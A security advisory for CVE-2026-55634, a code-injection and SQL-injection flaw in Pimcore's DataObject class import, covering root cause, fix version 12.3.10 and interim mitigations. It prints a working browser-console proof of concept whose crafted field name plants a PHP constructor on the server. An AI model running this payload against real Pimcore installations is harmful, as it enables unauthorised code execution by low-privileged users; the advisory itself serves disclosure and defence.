critical · 9.9CVE-2026-55634Aug 28, 2026

CVE-2026-55634: Pimcore DataObject Field Name Remote Code Execution and SQL Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A content editor with standard DataObjects permission can import a crafted class definition whose field name injects arbitrary PHP into Pimcore's generated class files, giving full remote code…

Packagepimcore/pimcore
Ecosystemcomposer
Affected<= 12.3.9
Fixed in12.3.10
CVE-2026-55634: Pimcore DataObject Field Name Remote Code Execution and SQL Injection

The problem

Pimcore generates a PHP class file for every DataObject class by concatenating field names raw into the class body: protected $<fieldName>;. No identifier allowlist exists on the server-side import path, only an angle-bracket regex that permits semicolons, braces, and parentheses.

An attacker holding only the ordinary objects permission (a standard content-editor role) can POST a crafted class-definition JSON to /pimcore-studio/api/class/definition/configuration-view/detail/{id}/import. The field name closes the property declaration and injects an arbitrary __construct() that executes as PHP whenever any object of that class is loaded, giving full RCE.

The same unvalidated field name is also interpolated into ALTER TABLE DDL (ADD COLUMN, ADD INDEX) using backtick string quoting rather than quoteIdentifier, creating a parallel SQL injection primitive that can corrupt the DataObject schema.

Proof of concept

A working proof-of-concept for CVE-2026-55634 in pimcore/pimcore, with the exact payload below.

javascript
// Step 1: run this in DevTools console of an authenticated Pimcore Studio session
// (user needs only the 'objects' permission)
const CLASS_ID = "REPLACE_WITH_THROWAWAY_CLASS_ID";

const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}'//';

const def = {
  layoutDefinitions: {
    name: "pimcore_root",
    fieldtype: "panel",
    datatype: "layout",
    children: [{
      name: fieldName,
      fieldtype: "input",
      datatype: "data",
      title: "poc"
    }]
  }
};

const fd = new FormData();
fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");

fetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, {
  method: "POST",
  credentials: "include",
  body: fd
}).then(r => r.json()).then(console.log);

// Step 2: load any object of that class in Studio to autoload the regenerated
// var/classes/DataObject/<Class>.php and fire __construct().
// Confirm: /tmp/pimcore_rce_poc exists on the server.

The root cause is in lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php, which iterates field definitions and emits protected $<key>; with $key concatenated raw into the PHP source string. A field name like x;function __construct(){...}// produces a syntactically valid class body containing an attacker-controlled constructor.

That file is written to var/classes/DataObject/<Class>.php and autoloaded, so the injected code runs on the next object instantiation.

The only server-side field-name check on the import path (Service.php) is preg_match('/<.+?>/', $name), which rejects only angle-bracket tokens. Semicolons, braces, and parentheses all pass. By contrast, the enum-option code generator already enforces a strict identifier allowlist (/^[A-Z-a-z_][A-Za-z0-9_]*$/) in SelectOptionsEnumBuilder.php, and the sibling CVE-2026-5394 fix added the same allowlist to the composite-index sink.

The field-name sink simply lacks the equivalent check, making this a coverage gap in an otherwise known pattern. CWE-94 (Code Injection) and CWE-89 (SQL Injection) both apply.

The fix

Update to pimcore/pimcore 12.3.10 (patch commit a4f8c3cfee58b7d5fe4873d67782eff58dae9b9d, PR #19183). The fix adds an identifier allowlist for field names equivalent to the pattern already used by the enum-option generator: reject any name not matching /^[a-zA-Z][a-zA-Z0-9_]{0,62}$/.

Defense-in-depth: use quoteIdentifier() for column and index names in models/DataObject/ClassDefinition/Helper/Dao.php. Until patched, restrict POST */class/definition/configuration-view/detail/*/import to administrator-level users via a WAF rule or a custom Symfony security voter, and enable file-integrity monitoring on var/classes/DataObject/*.php alerting on unexpected function or __construct( tokens.

Reporter not attributed.

References: [1][2][3][4][5]

Related research